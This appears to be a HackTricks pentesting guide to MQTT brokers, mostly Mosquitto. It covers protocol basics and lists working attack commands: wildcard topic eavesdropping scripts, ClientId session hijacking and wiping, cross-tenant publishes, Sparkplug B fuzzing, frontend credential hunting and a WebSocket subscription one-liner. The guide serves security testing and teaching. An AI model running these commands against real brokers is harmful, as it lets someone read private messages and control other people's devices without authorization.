// HackTricks · Network Services

1883 - Pentesting MQTT (Mosquitto)

1883 - Pentesting MQTT (Mosquitto)

Basic Information

MQTT is a lightweight publish/subscribe messaging protocol designed for constrained devices and low-bandwidth, high-latency, or unreliable networks. Its small control-packet overhead and three quality-of-service levels make it common in machine-to-machine, IoT, and mobile applications.[10]

Default port: 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

Inspecting the traffic

After a client sends CONNECT, the broker answers with CONNACK. In MQTT 3.1.1, return code 0x00 means that the connection was accepted and 0x05 means “not authorized”; this can reflect invalid credentials, an unauthorized client, or another broker policy. MQTT 5 uses reason codes instead (for example, 0x87 for “Not authorized”), so interpret captures according to the negotiated protocol version.[10]

For instance, if the broker rejects the connection due to invalid credentials, the scenario would look something like this:

{
  "returnCode": "0x05",
  "description": "Connection Refused, not authorized"
}

1883 - Pentesting MQTT (Mosquitto) - Inspecting the traffic: "description": "Connection Refused, not authorized"

Brute-Force MQTT

Pentesting MQTT

MQTT itself does not require username/password authentication, and plain MQTT on TCP/1883 does not provide transport encryption. If a deployment sends credentials over an unprotected listener, an on-path attacker can capture them; TLS-enabled listeners are commonly exposed on TCP/8883.[10][11]

To connect to a MQTT service you can use: https://github.com/bapowell/python-mqtt-client-shell and subscribe yourself to all the topics doing:

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

You could also use https://github.com/akamai-threat-research/mqtt-pwn

You can also use the Mosquitto command-line clients:[11]

apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

Or you could run this code to try to connect to a MQTT service without authentication, subscribe to every topic and listen them:

#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
	client.subscribe('#', qos=1)
	client.subscribe('$SYS/#')

def on_message(client, userdata, message):
	print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
	client = mqtt.Client()
	client.on_connect = on_connect
	client.on_message = on_message
	client.connect(HOST, PORT)
	client.loop_start()
	#time.sleep(10)
	#client.loop_stop()

if __name__ == "__main__":
	main()

The Publish/Subscribe Pattern

The publish/subscribe model is composed of:

  • Publisher: publishes a message to one (or many) topic(s) in the broker.
  • Subscriber: subscribes to one (or many) topic(s) in the broker and receives all the messages sent from the publisher.
  • Broker: routes all the messages from the publishers to the subscribers.
  • Topic: consists of one or more levels separated by a forward slash (for example, smarthouse/livingroom/temperature).

Packet Format

Every MQTT control packet contains a fixed header with a packet type, type-specific flags, and a variable-byte remaining-length field.[10]

https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png

Packet Types[10]

  • CONNECT (1): Initiated by the client to request a connection to the server.
  • CONNACK (2): The server’s acknowledgment of a successful connection.
  • PUBLISH (3): Used to send a message from the client to the server or vice versa.
  • PUBACK (4): Acknowledgment of a PUBLISH packet.
  • PUBREC (5): Part of a message delivery protocol ensuring the message is received.
  • PUBREL (6): Further assurance in message delivery, indicating a message release.
  • PUBCOMP (7): Final part of the message delivery protocol, indicating completion.
  • SUBSCRIBE (8): A client’s request to listen for messages from a topic.
  • SUBACK (9): The server’s acknowledgment of a SUBSCRIBE request.
  • UNSUBSCRIBE (10): A client’s request to stop receiving messages from a topic.
  • UNSUBACK (11): The server’s response to an UNSUBSCRIBE request.
  • PINGREQ (12): A heartbeat message sent by the client.
  • PINGRESP (13): Server’s response to the heartbeat message.
  • DISCONNECT (14): Initiated by the client to terminate the connection.
  • Two values, 0 and 15, are marked as reserved and their use is forbidden.

ClientId collisions: queued-message theft and session wipe

Recent public PoCs against Mosquitto 2.1.2 showed that if a target uses persistent sessions (clean_session=false in MQTT 3.1.1 or a non-zero Session Expiry in MQTT 5), reconnecting with the victim ClientId can attach you to the stored session, replay queued QoS 1/2 traffic, and let you delete that session afterwards.[8][9]

This is more than a simple disconnect nuisance: the published MQTT v5 PoC showed a low-privileged authenticated user receiving queued messages from a topic they were not allowed to read, because delivery followed the stored session keyed by ClientId, not the newly authenticated principal.[9] Prioritise client IDs recovered from firmware, mobile/web bundles, device stickers, topic naming conventions, or predictable serial/MAC-derived schemes, especially for devices that stay offline long enough to accumulate queued commands and telemetry.[8][9]

Quick checks during an assessment:[8][9]

  • Reconnect with the suspected ClientId and enable -d; in MQTT v5, Session Present = 1 indicates the broker resumed stored state.
  • Watch whether messages arrive before your new SUBSCRIBE matters — inherited queued traffic is the signal.
  • On authorized tests, verify whether a brief reconnect with the same ClientId makes the real device come back with an empty session / missing queued QoS 1/2 messages.

A quick lab pattern is:[8][9]

# MQTT v5: try to attach to an existing stored session
mosquitto_sub -h <broker> -u <attacker_user> -P <attacker_pass> \
  -V 5 -i '<victim_clientid>' -t '<likely_topic>' -q 1 \
  --session-expiry-interval 3600 -d

# MQTT 3.1.1: destructive test against anonymous or weak-auth brokers
# (default clean session; disconnect immediately after CONNECT/CONNACK)
mosquitto_sub -h <broker> -V mqttv311 -i '<victim_clientid>' -t '#' -d

Even if <likely_topic> is wrong or denied, a resumed session may still push queued packets from the victim’s old subscriptions before your new subscription becomes relevant.[9]

IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass

Many consumer IoT platforms expose MQTT brokers that are used by two distinct roles:[1]

  • Gateway/hub devices that bridge radio protocols (e.g., BLE/LoRa/Zigbee) to the cloud.
  • Mobile apps or web backends that control devices via “app” topics.

Common weaknesses you can abuse during a pentest:

  • Plaintext MQTT over non-standard ports (e.g., TCP/8001) instead of MQTTS. Any on-path observer can read credentials and control frames. Use Wireshark to spot cleartext CONNECT/CONNACK and SUBSCRIBE/PUBLISH traffic on unusual ports.
  • Weak or missing per-tenant topic ACLs. If topics are namespaced only by a device ID (for example, /tenantless/<deviceId>/tx), any authenticated user might PUBLISH to other tenants’ devices.
  • Sensitive data leakage via maintenance/admin topics (e.g., Wi‑Fi credentials broadcast in cleartext after config changes).

Examples (replace placeholders with real values):

Subscribe to potentially sensitive topics with known topic prefixes and device IDs:

# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
  -i <client_id> -u <username> -P <password> \
  -t "<topic_prefix>/<deviceId>/admin" -v

Cross-tenant control when ACLs are weak (publish to another tenant’s device topic):

mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
  -i <your_client_id> -u <your_username> -P <your_password> \
  -t "/ys/<victimDeviceId>/tx" \
  -m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Sparkplug B ICS/SCADA reconnaissance and fuzzing

Sparkplug B adds an OT/SCADA topic namespace, a strict birth/death lifecycle, and protobuf-encoded metrics on top of MQTT. That makes it a good target for both passive reconnaissance and negative protocol testing.[2][4][5]

Passive discovery

Sparkplug traffic usually follows:

spBv1.0/{group_id}/{message_type}/{edge_node_id}/{device_id}

A low-noise first step is subscribing to Sparkplug wildcard topics and extracting live nodes, devices, aliases, and metric datatypes from NBIRTH and DBIRTH traffic:

mosquitto_sub -h <broker> -p 1883 -t 'spBv1.0/#' -v
mosquitto_sub -h <broker> -p 1883 -t 'STATE/#' -v

Capture at least:

  • group_id, edge_node_id, device_id
  • Which message types are actually used: NBIRTH, DBIRTH, NDATA, DDATA, NCMD, DCMD, NDEATH, DDEATH, STATE
  • Metric names, aliases, declared datatypes, and observed sequence/timestamp behavior
  • Whether anonymous clients can CONNECT, SUBSCRIBE, or even PUBLISH into spBv1.0/#

High-value Sparkplug B fuzz cases

Once you know the real namespace and metric schema, focus on protocol-aware tests instead of generic MQTT fuzzing:

  • Topic namespace fuzzing: mutate group_id, message_type, edge_node_id, or device_id to detect weak ACLs, flat trust boundaries, and subscribers that accept malformed topic layouts.
  • Lifecycle/order violations: send DDATA/NDATA before NBIRTH/DBIRTH, repeat birth messages, send death without birth, or continue sending data after NDEATH/DDEATH.
  • Metric type mismatches: declare a metric as Float in birth traffic and later update it as String, Bytes, Template, etc. Weak implementations may corrupt state or silently accept invalid telemetry.
  • Alias collision / rebinding: reuse short integer aliases for different metrics or rebind an existing alias mid-session to check whether the target writes values into the wrong metric.
  • Sequence-number manipulation: replay sequence values, send gaps, go backwards, or force wraparound to test ordering/replay handling.
  • Raw protobuf corruption: mutate protobuf fields directly instead of only using high-level helper libraries, because helper APIs often prevent malformed payloads from being serialized.

Tooling

Bishop Fox released an open-source Sparkplug B MQTT Security Fuzzer that automates passive discovery and protocol-aware fuzz categories such as type_mismatch, sequence, alias, ordering, malformed, and topic:[2][3]

python3 sparkplug-fuzzer.py --setup
python3 sparkplug-fuzzer.py -H <broker> -p 1883 -v
# Optional auth/TLS
python3 sparkplug-fuzzer.py -H <broker> -p 8883 --tls -u <user> -P <pass> -v

The fuzzer listens on spBv1.0/#, builds a live device map from observed birth/death traffic, and then generates targeted malformed messages against the discovered schema.

What to validate during the assessment

  • Broker ACLs scoped per Sparkplug group/role instead of broad spBv1.0/#
  • Rejection/logging of protobuf parse failures and malformed topic layouts
  • Rejection of alias rebinding, undefined aliases, and datatype changes after birth
  • Correct cleanup of node/device state after NDEATH/DDEATH and alerts on ghost sessions or repeated rebirths

MQTT over WebSocket in web applications

Do not assume MQTT is only exposed on 1883/8883. Browser-based chat widgets, dashboards, and IoT portals frequently talk to the broker through WebSockets (ws:// / wss://) on app-specific paths such as /mqtt or /ws (RabbitMQ commonly uses 15675/ws).[6][7]

Frontend recon for MQTT endpoints and credentials

When testing a website that embeds a real-time widget, review:

  • HTML source and framework bootstrapping objects (window.__INITIAL_STATE__, drupalSettings, __NEXT_DATA__, etc.)
  • Public runtime config files such as env.js, env_app.js, config.js, settings.json
  • asset-manifest.json / chunk manifests to find the main JavaScript bundle
  • Minified bundles for mqtt, broker, topic, clientId, username, password, token, wss://, /mqtt, /ws

These files often leak:

  • Broker hostnames and non-standard ports
  • MQTT-over-WebSocket paths
  • Hardcoded usernames/passwords or bearer tokens
  • Client IDs and topic naming conventions
  • Fallback/default credentials used when environment variables are unset

Example findings to look for:

apiUrl: 'https://chat-backend.example.com:8081/custom?token=...'
REACT_APP_CWC_MQTT_URL: 'wss://chat-backend.example.com:8081/mqtt'
CWC_CONNECTION_USERNAME: 'cwc_user'
CWC_CONNECTION_PASSWORD: '...'
username: 'admin'
password: 'admin'

If the bundle shows fallback authentication logic, always test weaker variants too (admin/admin, admin: with empty password, reused API tokens, anonymous login).

Wildcard topic subscription abuse in chat/session systems

Per-user chat systems often isolate conversations only by topic name, for example:

client/<session-id>/chat_session

That is safe only if the broker enforces topic ACLs for the authenticated principal. Remember:

  • + matches exactly one topic level
  • # matches the rest of the topic tree

Therefore, once you know the topic shape, test whether a low-privileged account can subscribe to broader filters such as:

client/+/chat_session
client/#

If this works, one session channel becomes a cross-tenant message tap. This is especially relevant in support chat, telemetry, and IoT multi-tenant deployments where the only separator is a customer/session/device identifier embedded in the topic.

Quick WebSocket MQTT PoC

If you only have a browser-facing wss:// endpoint, a quick way to validate impact is with the Node.js mqtt client:

npm install mqtt
node -e "const c=require('mqtt').connect('wss://target:8081/mqtt',{username:'admin',password:'',rejectUnauthorized:false});c.on('connect',()=>{console.log('CONNECTED');c.subscribe('client/+/chat_session',{qos:0},()=>console.log('SUBSCRIBED'))});c.on('message',(t,m)=>console.log(t+': '+m.toString()));setTimeout(()=>process.exit(),60000)"

Notes:

  • rejectUnauthorized:false is only a testing workaround for bad/self-signed TLS; it is not the vulnerability.
  • Start with the exact topic you recovered from the frontend and then broaden it with + / #.
  • Watch for JWTs, session IDs, PII, admin events, and historical chat payloads.

What to verify once connected

  • Can you subscribe to other tenants’ topics?
  • Can you publish into another user’s/device’s topic?
  • Are there admin/debug topics leaking credentials, tokens, or provisioning data?
  • Do wildcard subscriptions work for both SUBSCRIBE and retained messages?
  • Does the broker expose the same auth material over both HTTP config files and MQTT/WebSocket login?

Shodan

  • port:1883 MQTT
  • MQTT plaintext on non-standard ports is common in IoT. Consider searching for brokers on alternative ports and confirm with protocol detection.

References